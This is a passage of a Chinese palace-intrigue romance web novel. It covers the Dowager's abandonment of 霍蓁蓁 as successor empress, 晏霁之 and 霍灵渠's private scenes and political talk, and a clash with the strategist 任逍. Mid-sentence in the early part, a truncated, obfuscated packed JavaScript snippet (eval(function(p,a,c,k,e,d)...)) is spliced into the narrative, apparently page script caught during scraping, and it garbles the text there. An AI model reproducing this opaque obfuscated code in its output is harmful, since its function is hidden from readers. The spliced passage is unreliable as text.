太后不是给蓁蓁相看只是召命妇开茶会,对,太后只是召命妇开茶会;然后、然后……二姐你让心腹们赶快去府前等着,等到振羽和他爹回来就让他们去找老穆国公规劝,一定要劝老穆国公向着蓁蓁;再就是赶紧派人给爹娘报信,一定不能让霍家改主意。” 暂且拿定主意,兴献侯夫人交代好后将心腹全部派出,她们又在出府途中碰到跑得满头大汗的霍振羽,四人连忙快速交流下即各自行动。 没有牵府里的马车浪费时间,霍蓁蓁和她娘坐进顺郡王妃的马车里,车夫扬鞭启行,被不断催促着赶快些终以最颠簸的快速疾驶奔向皇宫昭德门。终于抵达宫门前,三人顾不得剧烈赶路带来的不适,一刻没敢耽误地赶往霍太后宫住的长春宫。 长春宫里座无虚席欢声笑语不断,郭皇后与她母亲建威侯夫人都在呢就想出这口恶气,她们就不信会看不到热闹,那母女俩还能不赶来哀求吗?! 确定霍家真要放弃捧霍蓁蓁的那刻,郭皇后和她母亲可真是别提有多痛快了! “姑母?!” 长春宫前守宫门的小太监要先去通禀让她们在宫门前等着,霍蓁蓁根本等不及,推开碍事的小太监往里跑,拼着口气跑到长春宫的正殿前,气喘吁吁得站在殿前看到殿内的这幕突然眼冒金星,可能是真累到了,她走不动,只能下意识扶住门框高喊:“姑母!” 大殿内顿时安静,霍太后抬眼看去,笑得和蔼可亲,招手道:“蓁蓁来的正好,快到姑母身边来,姑母刚给你相看好几家少年郎;要是有投缘的,今日就能定个口头亲。” 顺郡王妃姐妹跑到殿门前听到这话皆脸色惨白,姐妹合力把似乎吓傻呆滞的霍蓁蓁架着跨过门槛往殿里走,忽略掉殿内后妃命妇们那些幸灾乐祸的视线,走到霍太后跟前站定。 兴献侯夫人平复心绪捏紧拳头,指甲陷进手心里几欲要掐断修剪圆润的红艳蔻丹,赔笑道:“太后是在给大家开茶话会吗?这么热闹。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍太后慢条斯理纠正:“蓁蓁你想错了,不是舍掉,而是被毁掉,英王妃和佟家做的混账事已经把你前程毁掉,没人能挽救。念在你主动请罪心意虔诚,圣人的怒火多少平息些,再求求情才大概能够保住佟家和英王妃无恙。 需知你是即将入主中宫的继后,朝堂后宫多少眼睛盯着,正愁找不到你的错拉下你,容不得你和至亲行差踏错半步,因为你的至亲惹出祸端,首当其冲要承担恶果的人定然是你。可他们呢?非但不知谨言慎行竟然还张狂到明目张胆打圣人的脸,谁能保得住你?” “不、不……姑母!”霍蓁蓁哭得涕泗横流,疯狂摇头:“他们不是我的至亲,他们想害我是我的仇人,他们不安好心,佟家要争贵妃位根本是想踩着我和我们霍家的尸骨上位?!他们都是我的仇人,想害死我的仇人惹出祸端怎么能连累我毁掉我的前程?” “仇人?”霍太后凉笑起来:“那你们兄妹今早还眼巴巴去给要害死你的仇人探病关怀,显然蓁蓁你根本不在意被外祖家当做踏脚石嘛,这怎么能叫仇人?” 她冷下脸,甩掉这侄女:“话,姑母给你说得够明白了!别再哭哭啼啼的,主动识趣些还能得圣人好感宽宥,嫁门第相当的人家,在家里休养阵就准备及笄礼专心相看吧。” “不、不要,姑母……”霍蓁蓁哭喊着又扒向太后姑母,霍太后失掉耐心喊宫人进殿,厉声吩咐即刻送表姑娘出宫。 两名小太监上前硬拽,没能拽动,又两个小太监上前帮忙掰开这表姑娘的手指强行扶走,霍蓁蓁完全是被太监们给硬生生拖走的。佟梦姿哭得满脸泪水,顺郡王妃失魂落魄跟在后,简直不敢想象,外甥女的皇后位和侄女的贵妃位就…就都被这么断送掉了? 平常走惯的宫道突然变得无比漫长陌生,这条路还明里暗里藏着数不清的嘲弄奚落看笑话的目光,顺郡王妃走得眼前发黑,摇摇欲坠再也承受不住得昏了过去。 佟梦姿听到声音转头,愣下连忙去扶妹妹又让宫婢们请太医,领路的女官刻板回复:“送郡王妃回顺郡王府再请太医才合规矩,二夫人。” 瞬间涌起怒火又瞬间压住,佟梦姿扶起妹妹再扶着昏倒的小妹往前走,每一步路都走得特别沉重,每一步路都像在踩着她的血肉。 走出皇宫走过巍峨的昭德门,好像听到有人在叫她的闺名,佟梦姿恍惚抬眼,定睛才看清楚不远处站在她爹、她大哥和夫家大侄子霍海啸。 “圣人仁慈厚德已宽恕英王妃,佟老夫人和英王妃喜极而泣高兴得晕了,晏霁之和佟梦佶已经各自接母亲回府。我去太微宫禀告点事情,佟尚书耳闻太后在给蓁蓁相看想来瞧瞧,我便陪着了;刚到昭德门外,没想到这么巧碰到二婶你们出宫。” 霍海啸正经戳心窝:“二婶,这是蓁蓁已经有好姻缘,顺郡王妃也高兴得晕了吗?” 在场不相关的诸人默默想这世子爷说话真够漂亮也真够狠的,佟梦姿被刺激得险些冒泪,佟梦奭满脸压都压不住的痛恨,低垂的目光像淬了毒,恨晏霁之恨晏家恨霍家恨得咬牙切齿都想活剐他们,恨尽所有的不满痛恨,唯独没有反思过。 “梦姿,太后真要给蓁蓁相看亲事?” 佟尚书佟图匡眼中满布血丝,形容枯槁仿佛突然老十岁,可轻轻揭过的小事硬被霍家处理成最严峻还令太上皇被臣下牵着走都不能说不,穆国公和霍海啸办得可真是漂亮啊。 “啊啊……”浑浑噩噩被拖拽出宫的霍蓁蓁眼中猛然凝聚亮光,在她娘苦涩难言时,她爆发出前所未有的恨意冲向眼前这两人,那架势活像要拼命。 佟梦姿心惊肉跳,把妹妹交给随她们来的婢女就去阻拦;霍海啸作壁上观,还挡住想拦架的宫婢们和昭德门把守士兵,放纵佟家人在皇宫城门前上演场闹剧。 遥望见亲弟霍巨浪和堂弟霍振羽策马而来,他平静转身,走过昭德门进宫给太后请安,金灿灿的余晖在他踏过的步调里翩跹,天边云霞恋恋向夕阳。 夕阳无限好,只是近黄昏。 49. 第49章 黄昏谙薄暮,夕阳残退红尘斑斓慢慢滑落,暗淡如稀释的墨汁蔓延侵袭直至占领天空。 晚风携过海棠花香拨动廊前灯笼轻晃,星星烛火像在夜间忽闪的眼睛,照见暗淡被灌浓,深沉的黑席卷笼罩四野,一只小猫悄悄跳上墙头轻喵,散落片这日纷扰谢幕的静。 近床的琉璃灯给橙红的床帐映出余韵,寝屋里温暖朦胧绵长,丝丝绕绕似能缠住心房。晏霁之沐浴洗漱好,走到床榻前看到霍灵渠手捧书卷专心翻阅的安然静好,压制的害怕难以遏制的蹿出,他真有些不敢想,她走后他将面对何等孤独寂寞。 眼前投下片阴影,霍灵渠抬眼,放掉书卷拿条新巾帕再给他擦擦发梢的水渍,柔声道:“我怎么看你脸色有些不好,哪里不舒服吗?” “嗯,满打满算我们都只能再相守三天四夜,很不舒服。”晏霁之把女人拉进怀里亲吻,长达半刻钟的热吻结束,霍灵渠真心劝道:“你早些娶媳妇吧,我知道你还是没心思,可你早晚得娶妻又何必非得再拖几年?你早些娶妻也能排解你担心孤枕难眠的困扰。” 我谢谢你啊!晏霁之略感煎熬的心硬生生被她气得憋闷:“朱楼禀告,申时有撷芳馆的管事从王府后门递话进来,红妈妈约你明早在乌台巷你妹妹的小院碰面?” 霍灵渠应嗯,他做主道:“改约后日,后日我有事进宫,明日你留在家里陪我。” “好,那明早你让笛生走趟撷芳馆通知七娘。”霍灵渠没意见,给他擦干发梢的水渍后从梳妆台的抽屉里取出只雕花木匣,打开木匣递给他看。 “下午煦之少爷带妻儿们搬回王府住,这是堂少奶奶派人来送给我的,六朵绒花,说是给两位少奶奶和姑娘们还有徐侧妃都送了礼物,不是什么值钱玩意儿,就图个彩。” “收着吧,不用给回礼了。”晏霁之拿起她放在床头的书卷放到书柜里去,霍灵渠将这雕花木匣放回梳妆台,走到床榻前看他已经进床铺,她边放帐幔边问:“我稍微打听了些,听说这位堂少奶奶也自出桓国公府,你堂弟晏煦之和我二哥是连襟?” 晏霁之应道:“嫡亲连襟,煦之他媳妇和霍二奶奶是同母亲姐妹。” 霍灵渠靠在他怀里,美眸含笑如有星星闪烁:“真的呀,一直未曾耳闻过呢。” “你在流光小筑深居简出,能知外面多少事?何况煦之他们在外州府多年,刚回京。”晏霁之伸手扯她寝衣的丝带,霍灵渠端详男人的神色,握住他的手,斟酌问:“傍晚在岚瑟居陪到英王妃醒来,你和生母还能同住个屋檐下吗?” 黄昏时分,英王回府就令府医开安神汤更强令英王妃卧榻调养三日,调养期间,英王妃不得走出岚瑟居半步;有一个奴婢没照顾好,岚瑟居里的所有奴婢全部重责五十大板。 看不出喜怒哀乐的俊脸沉默起来,晏霁之过半响抬眼,撞进她沁着暖意关怀的眼波中,他自嘲一笑搂紧女人,反复叙道:“就像她今早根本没有去衙门状告过亲儿不孝。 往常对我什么态度,醒来后还是什么态度,好像根本不存在那状纸,没想过她今早去了衙门告我不孝,没考虑过我的心情,仿佛今天早上她不是在期冀要让我下狱坐牢。” 霍灵渠迟疑:“英王妃有事情让你做?” 晏霁之呵呵笑起来,嘲讽道:“这算是悲哀还是讽刺?当然不是她忘记而是她顾不得,霍家放弃捧霍蓁蓁做继后对佟家可是塌天的大事,那么对她自然也是塌天大事;相比起来,她告我不孝就是点微末碎屑小事,她哪还能顾得上? 连自己磕破皮流血、脸肿得像馒头,需要静心调养都顾不得,她怎么可能还会顾及我?父亲强令她卧床静养,她心急火燎要回娘家要找霍家,醒来后在岚瑟居里半刻钟都待不住,我看她歇斯底里的模样忽然庆幸,你可知我庆幸什么吗?” 霍灵渠沉吟猜测:“庆幸曾经你还渴望母爱时,你未曾因渴望而迷惘迷失自己吗?” 晏霁之想笑又有些心酸:“原来你在英王府才四年就看透彻了,我竟然蹉跎半生;但我真的庆幸,我看着佟氏歇斯底里的模样忽然庆幸,庆幸我自己很自爱。 倘若我因为渴望母爱而顺从她,无论我如何讨好亲娘哪怕对生母卑躬屈膝百依百顺,只要她有不满,她就不会对我满意,我疲于奔命乞讨求来的母爱只会是她舒心时施舍的假象。我真庆幸这二十多年来,我从来没有因为渴望母爱而真正委屈过自己。” 霍灵渠心底说不是四年而是八年多,抚抚他的脸,柔声道:“夜深了,安寝吧。” 琉璃灯罩内烛光黯消,窗外风雨渐起,汇聚成凄厉咆哮的暴雨在深夜里惊泣,不知惊醒多少睡梦中人更阻拦着换班的金乌只能躲在云层里哀怨,如此瓢泼大雨,几时能停? 大雨如注,撑伞挡雨的丫鬟在雨中行走时仍不免被雨水打湿,走进蔚然居时头发沾湿、膝盖以下的裙子湿透很是狼狈,她只能在廊下简单擦擦就递话:王妃传召世子爷。 在蔚然居等两刻钟没有等到答复,她倒是挺平静撑伞返回岚瑟居,只盼不需走第二趟。可惜现实没有她的期盼,她只能再走趟传相同的命令,又走第三趟传话:王妃命令世子即刻前往佟家照应,紧急关头不得再胡来,外祖父母有任何交代吩咐都必须办妥。 绿岫走到寝屋门前禀告,得到吩咐后走到廊下笑道:“姨娘说珊瑚妹妹的衣裳淋湿了,你要是不嫌弃就换套蔚然居里的衣裳再走。” “我……”珊瑚低头看看淋得像落汤鸡的自己,拒绝的话犹豫好几圈还是没说出来,她原本是二等丫鬟,品墨品菊她们那批大丫鬟调走以后才升做一等丫鬟。 现在王妃身边只有两名大丫鬟,除了她之外就是扈妈妈的女儿翡翠。派到给世子递话的差事必须由大丫鬟出面否则蔚然居都不可能帮忙传话给世子,可这种差事十回有九回不讨好,没有下雨都轮不到翡翠。珊瑚咬咬牙屈膝道谢,跟着绿岫去换干爽的衣裳。 豌豆大的雨珠调皮跳跃在朱檐碧瓦间,叮叮咚咚排队滚落在廊下织成片剔透雨帘,庭前垂丝海棠蔫蔫被偷走片花瓣,窃香的大水滴乘花瓣顺水流飘荡,嘻嘻丫丫欢快极了。 霍灵渠打开窗,望着窗外雨景悻悻然,晏霁之自她身后拥住她,打趣道:“我已下令,若是岚瑟居再派人来不必禀通了,不会再有不识趣的来打扰我们,还有什么不高兴?” “我没有不高兴,我只是想到霍家,你知道霍佟氏母女闹得严重吗?我觉得,霍家从表态给霍蓁蓁相看起到现在肯定都还被搅得鸡犬不宁,到底是我为难祖父了。” “你多虑了,蓁蓁和她娘再扑腾对老穆国公都不痛不痒,只不过……”晏霁之猜测:“只不过海啸可能真对亲弟弟有点意见了。” 霍灵渠转身看他,怪道:“雄鹰这两天犯什么大错惹大哥生气啦?” “不是雄鹰,是巨浪。”晏霁之揽她走到软塌里坐,解释道:“昨日黄昏,皇宫昭德门传出来的消息,霍海啸遥见亲弟和堂弟来接人,他都没留着和巨浪打个照面就进宫了。” “为何事呀?”霍灵渠讶然,晏霁之捏捏美人的脸蛋,笑吟吟道:“还能为何事?当然是因为赶往昭德门接人不该有霍巨浪的身影。 昨天蓁蓁发狂跟佟尚书父子拼命,众目睽睽,霍海啸都冷眼旁观,态度摆得这么明白,巨浪在府里时穆国公对他会没有交代吗?可他还能陪着振羽奔波,这算什么,算他心地好,算他可怜堂弟堂妹宁可与长兄对抗也要做好人吗?” 霍灵渠疑惑:“我不懂,大哥为何不拦架?撇开堂兄妹之情还有他自己的名声呢。” “你大哥疼你啊。”晏霁之调侃,霍灵渠嗔他:“我和你说正经的。” “好好,说正经的,强抢后位的计策已出,按常理,有谁会认为霍家能放弃争继后位?舍掉霍蓁蓁自然是改捧霍海啸的嫡长女。”晏霁之扬笑揶揄:“你大哥够疼爱你吧,他干脆昭示这就是他的谋划,是他令家族放弃捧霍蓁蓁。” 霍灵渠心情有点沉闷地靠在他怀里,低低应嗯,晏霁之抱住女人,叹道:“既然提了,我就多提句,你想过你做贵妃以后如何对待郭皇后吗?” “嫔妃对皇后该是什么态度就用什么态度。” “错!你做贵妃得抛掉贤良淑德,只能摆副目中无皇后的宠妃妖妃的款儿,因为郭皇后进道观修行势在必行。”晏霁之低头亲亲她娇嫩的红唇,教道:“霍家即使不捧位霍皇后都会按照原计划逼郭皇后进道观修行,因为赌不起。 没人有把握他们在重新示好之后真能得到谅解,那么就不能赌;否则一时心软,皇长子将来得势后狠狠报复,谁担得起后果?双方已不可能握手言和。 何况你还是我的宠妾流光,你摆副贤良嫔妃的款儿,谁信,谁会理?你只能做妖妃。想以品德服人,你熬十年八载才有可能攒点好名声,你还想在后宫里待十几年吗?” 霍灵渠摇头:“我当然是想最好熬两三年就能够出宫了。” 晏霁之听来心情舒悦,再吻吻她:“所以霍灵渠做贵妃之际就与郭皇后站在对立阵营,你对皇后敬重也只会费力不讨好,不在背后耍阴谋已是你们彼此间最大的客气了。” “嗯,我记住了。”霍灵渠没甚排斥的,晏霁之扬扬眉,反而哄诱:“你就不觉得郭皇后遭无妄之灾很可怜吗?说不定你能劝动家族道歉、感动郭家谅解,多好的事。” “世间何苦有永无休止的纷扰?”霍灵渠浅浅弯唇,有种沧桑过尽的淡然:“人一生,如果能一帆风顺到老死,必定是最有福的人了。” 晏霁之默然把女人抱紧,静坐片刻,霍灵渠披件外袍走到寝屋门前,扬声吩咐摆膳。 饭后,两人各自泡盅花茶去二楼消消食看看雨景,只是没半个时辰就又躲回寝屋里了。 满室柔情缱绻,午后恬然的光阴在绵绵春雨中流逝,细听,似乎还能从窗缝隙传进来的雨滴嘀嗒声中聆听出时间的曲调,正悠悠扬扬迈进炊烟袅袅的酉时。 橙红帐幔旖旎摇曳酿漾海棠花露清香,晏霁之舒坦得躺靠在床头闭目养神会儿,睁眼看怀里的人儿软成滩春水,心情颇好:“今晚我送本图册给你?” 霍灵渠装耳聋,晏霁之笑问睡着了?她垂头点点,男人乐了:“睡着还能点头?” “嗯!”她软软躺在男人怀里,软得连根手指头都不想动,根本不想陪他瞎聊,晏霁之搂紧怀里柔若无骨的娇躯,突然感慨:“少年慕艾,姑母进宫前有心悦的男人。” 霍灵渠讶异仰头,晏霁之吻吻美人微肿的红唇,忆起往昔:“十六七岁时,我到议亲的年龄,祖父祖母欲给我相看亲事,问我想娶个什么样的媳妇?我没有心思,就是很纯粹的还不想娶媳妇,我说想遇到喜欢的姑娘再娶。 我祖父和祖母都同意了,祖父病逝前都没有再操心我的亲事,我立誓在而立之年娶妻,祖母也没反对,因为红颜早逝的姑母。白发人送黑发人,二老心里痛,生前跟我提起姑母的往事总遗憾,不想让我再痛,犯不着逼着我为娶妻而娶妻。” 霍灵渠娇娇懒懒的浑身透着说不出的媚,怅然感伤的语调都难掩眼角眉梢的媚意:“原来我和四姐姐猜对了,当年关雎宫里的梨花树真有隐喻?” “应该是的,祖父曾言在授康九年秋听闻那个男人死了,甚是替他可惜,那位生前未曾娶妻,连一点血脉都没留下,而姑母是在授康十年春亲手栽种梨花树。” 晏霁之搂她躺回被窝,指腹划过她微微蹙起的娥眉,霍灵渠喃喃浅语:“因为情殇吗?贵妃少年倾慕的那位是因为情殇才英年早逝吗?” “应该 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这位英王世子爷可真讲究,不然他还能怎么想?大总管呛得低咳两声,皇帝陛下摆摆手让他到殿外守着,他麻溜躬身告退。 嬴忱璧身着藤黄色帝王常服,面对穿戴鲜艳的臣子,皇帝他很平静,御殿里只剩他们,他主动猜询:“是想告诉朕不能再接江南钦差之职吗?” “圣人追尊温献皇后抬举晏家,臣的确难办,在考虑是否该向陛下请辞,不过此番求见陛下并非为此,而是另有件需得在陛下册封贵妃前禀明陛下的要事。”晏霁之目光灼灼肃然:“臣怀疑武襄侯府的四奶奶可能是圣人那两岁早夭的六公主。” 正徽帝嬴忱璧:“……”皇帝发懵两瞬醒过神,眼中思绪莫测:“你怎会有此怀疑?” “三年前嬴天漾捎信给臣,有死士潜进他的府邸将年轻女眷全部杀害,阿漾让我帮忙查查死士是否自出京城,若是又是京城哪位派的死士? 那批死士没留任何线索,我一直没有进展,直到假冒的霍桑柔嫁进武襄侯府,我怕她怀胎生养会节外生枝而从中做点手脚,不料竟然收到个意外之喜。” 晏霁之好笑摇头:“当年害灵渠的大火很可能与霍佟氏还有佟家都没有瓜葛,霍家想怀疑都没有找到可疑的蛛丝马迹,这才相信那场火没有阴谋,所以才会有霍蓁蓁出生。” “圣人?”嬴忱璧心底吸口凉气,皱眉持疑:“你有多少把握?” “臣有六七成把握武襄侯府的四奶奶或是圣人那位早夭的六公主,但臣没有把握圣人是否知情?且臣偏向于猜测圣人不知情。”晏霁之提醒:“太上皇没有任何动因需要把自己的公主放到霍家冒充霍桑柔,陛下以为然否?” 嬴忱璧眯眼:“对。” “霍家当年的大火若是与当时的后宫联系起来,那么是在圣人原配任皇后薨逝前月。”晏霁之话音落下,皇帝猛然看向他,他建议道:“臣的意思,后天,陛下册封贵妃,趁机把那两个冒牌货抓起来押到京城之外审问,不愁京城里会没有人露出破绽。” “好!” 霍灵渠秀发绾做倭堕髻,鬓间金牡丹宝石步摇稍掩眼角风情,一袭清新的藕荷苏绣长裙淡化几丝妩媚娇娆,她轻摇团扇在隅中时分袅袅婷婷走进妹妹的小院,看到妹妹疾步而来,正想解释哪料桑柔没在意,下意识松口气。 让跟着流光姨娘的婢女们退远,霍桑柔对姐姐耳语:“不是七娘,是个自称主公谋士的扮男装的女人,对我指手画脚嚣张得不行,我差点想拿扫帚把她赶出去。只是,”她憋气:“只是她知道我们在主公那里用的化名何忘忧、何解忧,可能真是主公派来的人。” “姐姐猜到是谁了。”霍灵渠转头吩咐隔丈外跟随的英王府的奴婢退到院外关好院门,再让妹妹请那位出来,有事情就在院里谈。 任逍白衣翩翩手握折扇走到屋檐前,打量眼站在两三丈外号称美貌冠当世的女人,鄙薄溢于言表:“但愿忘忧你比你这个妹妹多点货,省得我再对牛弹琴。” 霍桑柔气得捏拳头要反呛被她姐姐拦住,霍灵渠弯弯眼笑语嫣然:“任逍?既然有脸仗着主公心软借表妹的关系非要强留在主公家里白吃白喝,何必再给自己改名,难道是你爹娘给你取的任怀馨这名字见不得人吗?” 任逍倏然变脸,霍桑柔顿时乐了,痛快嘲笑:“我说呢,主公怎么可能收容个草包女人?我还以为你自荐枕席来着,原来你比我想得还不要脸。我说你二十多岁了吧,这年纪还要假装什么女谋士混在主公身边难道是你连自荐枕席、主公都看不上吗?” “好,何忘忧、何解忧,我记住你们姐妹了。”任逍捏紧折扇,满目怒火化作冷意下令:“主公要知道你们姐妹的忠心,何忘忧听令,限你两日内送英王妃进阎罗殿。” 霍灵渠抬手理理耳畔垂落的青丝,把鄙薄还给她:“任逍姑娘,我没有兴趣知道你是否闲来无事想逗闷,但我奉劝你,假传命令前先向主公打探清楚你这表妹身份能否糊弄?” 任逍冷笑:“你敢抗令?” “狐假虎威自作主张,姑娘走错地方了,我们姐妹可不听令于你,何来抗令之说?”霍灵渠抬抬下颌逐客:“忘忧再奉劝句,别在主公面前搬弄是非,免得自讨没趣。” “这可是你自己给脸不要脸,何忘忧,我定会让主公知道你们姐妹的忠心。”任逍冷冷笑声拂袖而走,霍桑柔冲她翻白眼:“真拿自己当颗蒜了,连根葱都不是还装什么大头蒜,我呸,什么玩意儿嘛,还扮男装,有种别来月信啊。” 霍灵渠失笑,刚想带妹妹进屋忽然僵住,她这月还没来月信,她该…应该昨天来月信?她的月事向来准的,怎么会突然推迟?想到背后疑似的可能,吓得心跳漏掉半拍。 50. 第50章 阳光明媚多娇,暖暖春晖熏人醉,霍灵渠却被惊得打冷颤,只能安慰自己多虑了…… 霍桑柔逞过嘴皮,挽着姐姐的手臂进屋,防范道:“姐,那女的既然是主公的表妹多少有点体面,她在主公面前乱嚼舌根难保主公不会听她谗言,我们得找主公解释吧?要不然我们被她乱泼脏水多亏啊,总不能白吃这种哑巴亏。” “不用,任逍应该是听闻前些天我宣告晏霁之会将我扶正,她既做谋士自然会有考量,担心我们会脱离掌控,这趟应该是主公没有理会而她仍然自作主张。” 霍灵渠收敛情绪放掉团扇,拎起茶壶倒两杯茶水,扬笑宽抚道:“桑柔不需担心,主公不会听信任逍的瞎操心,这点把握姐姐还有。” 霍桑柔点头嗯嗯便不再担心,压低声音神神秘秘问:“姐,我听说前天英王妃跑衙门状告亲儿不孝,真的假的呀?现在外面传得沸沸扬扬,什么乱七八糟的小道消息都乱冒。” “是真的,今早英王府有些闹事,姐姐才拖到隅中出门。”霍灵渠略有心虚,虽然确实因为岚瑟居里闹得鸡飞狗跳,她不好在他们吵闹时出府。 “我嘞个娘啊,我还没见识过这种亲娘。”霍桑柔再翻翻白眼吐槽,喝杯水打探:“姐,那女的说霍蓁蓁大清早跑到英王府闹事,你说的是不是这个事?” 霍灵渠讶异:“是,可任逍怎么会跟你说这事?” “嗳,约在辰时中见面,你晚一个多时辰,她哪能等得及?她派人去英王府问消息,主公在英王府的眼线回消息来说霍蓁蓁大闹英王妃,岚瑟居里乱成粥,你几时能出府还不定。那任逍等得不耐烦就去撷芳馆找七娘,确定你出英王府了,她才重新过来的。” 霍桑柔幸灾乐祸问:“姐,她们为什么事窝里斗?” “霍蓁蓁倚仗霍家之势想图谋做继后,前些天太上皇抬举晏家,英王妃状告亲儿不孝是明目张胆打脸太上皇;因此事,霍蓁蓁做为外甥女受连累,没有机会图继后位了。” “哈哈哈……”霍桑柔联想明白顿时痛快得不行,笑得乐不可支:“该!活该这群天杀的要窝里斗,老天开眼就该让这群毒妇自己斗得脚底生疮屁股流脓全部去狗吃屎。” 霍灵渠忙扶住妹妹给她顺顺气,霍桑柔再喝口茶狠狠骂顿出出气,气顺些说起那补品:“姐你怎么突然给我送那么多补品?估计我吃俩月都吃不完,你攒到银两就好好收着,给我买那么多补品做啥,我壮得像牛犊似的,哪儿需要补?” “家里给我们送来的。”霍灵渠伸手抚抚妹妹的脸,柔声劝:“爹爹他们也才刚知道。” “谁让他们刚知道,养两个冒牌货十几年都没发现还能怨我们吗?”霍桑柔鼻头微酸,蛮横犟道:“送点补品就想打发,有那么容易吗?有本事帮我们砍掉那毒妇的脑袋啊,我看到时候他们不阻拦我们报仇就算…阿弥、陀佛。” 声音渐弱,霍桑柔不禁撇撇嘴,霍灵渠疑惑而望竟看到晏霁之,不由愣了下。 晏霁之走近将红酸枝雕花提盒送给翻白眼的那位:“一盒瓜果糕糖蜜饯,给小外甥的。” 姐妹俩都没察觉出小外甥这用词的含义,霍桑柔接过提盒往屋外走,在心里鼓劲:我是看他倒霉摊到个那样的娘才没拿扫帚赶,不然凭他和那毒妇的关系我早轰他了。 “你怎么过来了?”霍灵渠有点讶异地站起,晏霁之答非所问:“你妹妹还挺识趣。”他含笑揽着美人坐,暧昧道:“想你啊,一刻不见如隔三秋。” “他们还没离开吗?”霍灵渠猜,今早霍蓁蓁跑来吵闹,他都没在府里留着而是去皇宫,是霍振羽和霍佟氏还有佟老太太先后赶到英王府才把闹剧压住了。如果早晨还算有事,那么现在晏霁之倒像故意避开。 “出宫时遇见霍海啸,你大哥忒坏,张口就拿一百根银针恐吓我,要不是看在他又给我透点消息的份儿上,我哪能轻易不与他计较。”晏霁之淡淡恭维:“昨日大雨瓢泼,佟老太太都冒雨赶到霍家寻死腻活险些撞墙。 我还没回到王府,晏四来给我报信说顺郡王夫妇到了,不用猜,顺郡王想和英王谈谈请老穆国公回心转意重新捧霍蓁蓁,父亲必然得从兵部赶回府里,我就不凑这种热闹了。” 霍灵渠疑惑:“什么一百根银针?” “你祖父忒小心眼,扎我的小人就算了,居然扎一百根银针,有这么小心眼的吗?”晏霁之气哼哼谴责,霍灵渠默默端茶喝,他见此同谴责她:“你也很坏。”我被你祖父扎小人扎那么多银针,你非但不陪我谴责还不安慰我,居然还能当做没听到?! 霍灵渠平静忽略,冷不防男人落吻,她忙放茶杯推拒:“疯啦,这是在桑柔的院里。” 晏霁之坏笑笑,吻住霍灵渠将她的小脾气封缄,在屋外偷窥的霍桑柔:“……!!!” 躲在屋外听墙角的某小院主人默默捂眼睛离开,如果早知道……她绝对不会因为想偷听点秘密而去偷窥她姐姐和英王世子,难道她愿意在她的地盘上看见姐姐被臭男人欺负而她却不能冲上前保护只能窝囊消失吗? 霍灵渠犹豫许久没再推拒,晏霁之现在倒数着时辰想求欢,何况现在只是缠吻而已。 “真想我们下刻钟就能回到寝屋。”持久的热吻结束,晏霁之抱她哀怨,霍灵渠埋怨:“你还说,今早若非赶巧,我都不知该怎样跟桑柔解释,现在我还腿软得走不快呢。” “你不舒服?”晏霁之讶然,霍灵渠摇头:“那倒没有,只是想到后日有点慌。” “恢复身份和亲人团聚、大仇得报在望,不是应该高兴欢喜吗,慌什么?”晏霁之调侃:“难道是这四年多已然习惯依赖我,舍不得离开我吗?” 霍灵渠没理他这油腔滑调,低靡而惆怅道:“对不在意料的恐慌,对未知的害怕,我想着把要做的事情做完,我就离开京畿简简单单安度余生,进宫根本不在预料;那就像是个恐怖的深渊能生出无数未知,每个未知都让我打心底里抗拒。” 言尽,霍灵渠疲倦地闭眼靠在男人怀里,晏霁之把怀里人抱抱好,过会儿轻轻说不怕、我在;声音比呼吸弱却莫名坚定,哪怕怀里的人很可能没听见,他也不在意。 午膳从城中酒楼订来,每种菜肴两份摆成两桌,外加坛黄柑酒,晏霁之独坐一桌饮酒,且他的碗筷是临时新买。因此仗着不在同间屋中,霍桑柔大胆和姐姐发牢骚:“什么意思,这么嫌弃就滚,买副新碗筷想寒碜谁啊,他有种怎么不再买桌椅地砖呐?!” “桑柔误会了,他没别的意思,他就这德行。”霍灵渠笑着解释:“他在家里也这样,他自己的餐具杯盏都得独用;哪怕奴婢拿他爹曾用过的茶碗斟茶给他,他都决计不碰的。” “那他一年得换多少碗筷茶杯的?这也忒挑剔了。”霍桑柔真觉无语,霍灵渠弯弯眼笑:“他自幼养在祖辈膝下,隔辈亲嘛,就给他养出些臭德行,其实他人很好。一码事归一码事,他对姐姐对我们姐妹都能算有恩惠的。” 霍桑柔哼唧着夹筷清蒸鱼肉给小祐,嘴犟反驳:“我都没想离开撷芳馆,他非得讲求那点脸面硬掏银两逼我赎身,这算什么恩惠,我还没嫌他多事呢。” “好好,他只是为自己的脸面,桑柔不必言谢,来,桑柔尝尝这花胶老鸡汤。”霍灵渠舀碗汤递给妹妹,霍桑柔接过喝口汤想起件事:“姐,正月里你说今年要送小祐上学堂启蒙,城里那些学馆我打听过了,满五岁能送的。 最好的学馆在城西离得有点远,而且他们要求十岁以下的学子必须住宿,每月只能回家休息一天,说什么小娃娃没啥自制力、家长也容易放纵孩子玩,所以得住学馆让先生监督,同窗们相互督促养成好习惯。可我真不放心,小祐才五岁呢太小了。” 霍灵渠摸摸孩子的小脑袋,温柔问:“小祐想去学堂吗?” “姨母,娘说读书不好玩,她最讨厌读书啦,可娘能答应让小祐不读书,姨母不同意,娘也没有办法,所以小祐一定要读书。”娃娃苦恼撒娇:“姨母,小祐才五岁不大的,等小祐上学堂读书就没得玩了,让小祐十岁再读书吧。” 霍桑柔默默低头装鸵鸟,她是最讨厌读书啊,姐姐逼着她读书时她别提有多痛苦悲催。霍灵渠慈爱而坚持:“姨母三岁时就识字启蒙,小祐已经五岁,该读书啦。 读书能识字明理,对小祐终生都有益。不过是不用那么严苛,如果小祐还不想去学堂,我们就请先生来家里教学,小祐就上午读书下午休息,好不好?” 娃娃眼眸亮晶晶:“姨母,小祐能在家里读书,还能天天玩,真的吗?” “真的。”霍灵渠笑容可掬地肯定,娃娃顿时高兴极了,欢呼好一阵,吃完午饭,乖乖牵着娘和姨母的手去院里散步消食。 院墙隅有棵杏花树花枝招展,白里透红的杏花瓣犹如粉彩云霞缀在枝头,阳光穿过花瓣缝隙散落点滴交错斑驳,手牵手的女人小孩一遍遍走过树旁,铃铛般的笑声洒满院落。 晏霁之看着这幕,略微驻足才上前打断。 “后天,皇帝册封贵妃,你也会回归霍家,你对霍家知道多少?”他问霍桑柔。 